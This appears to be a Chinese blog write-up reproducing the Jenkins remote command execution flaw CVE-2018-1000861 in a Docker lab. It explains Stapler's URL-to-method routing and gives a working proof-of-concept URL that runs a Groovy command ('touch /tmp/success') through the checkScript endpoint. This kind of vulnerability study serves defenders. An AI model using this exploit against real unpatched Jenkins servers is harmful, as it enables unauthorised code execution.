漏洞复现----6、Jenkins远程命令执行漏洞(CVE-2018-1000861)


一、Jenkins简介

Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.

二、CVE-2018-1000861简介

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

Stapler框架官方文档:
Stapler使用应用程序对象的公共get方法将可访问的子对象绑定到 URL。
BookStore具有从库存单位 (SKU) 编号到相应Item对象的映射。对应的 Java 类如下所示:

public  class  BookStore {
     public  Map /* <String,Item> */  getItems () {
         return items;
    }
    ...
}
当客户端请求一个URL“/items/b1”时,Stapler 采取以下步骤来决定如何处理这个请求。

1、Stapler 知道 '/' 被映射到类的单例实例 BookStore。
2、Stapler 取下一部分 'items' 并注意到BookStore 该类有一个 method getItems,因此 Stapler 计算 x=bookStore.getItems()3、Stapler 从 URL 中取出下一部分 'b1' 并注意它x 是 a Map,因此Stapler评估y=x.get("b1")4、最后,因为处理了整个 URL,Stapler 会查找 index.jspfor y。

在示例中,bookStore.getItems().get("b1")返回一个Book 对象,因此侧文件/WEB-INF/side-files/example/Book/index.jsp用于处理此请求,并将“it”对象设置为此Book实例。
通过这种方式,只需定义get方法即可定义URL层次结构。
影响版本:
Jenkins 2.153及更早版本 Jenkins LTS 2.138.3及更早版本

三、漏洞复现

执行以下POC,POC来源于Orangetw

http://192.168.198.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

在这里插入图片描述
此时可查看/tmp/success是否创建成功,步骤如下:

docker ps -a   //查看正在运行的容器ID,如下图ad7ba6a7699f为Jenkins容器的ID号
docker exec -it ad7ba6a7699f /bin/bash    //通过exec命令对指定的容器执行 bash
ls /tmp

在这里插入图片描述


参考: https://www.jenkins.io/security/advisory/2018-12-05/#SECURITY-595 https://www.anquanke.com/post/id/172796 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000861 https://github.com/stapler/stapler/blob/master/docs/getting-started.adoc#delegating-to-descendants
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值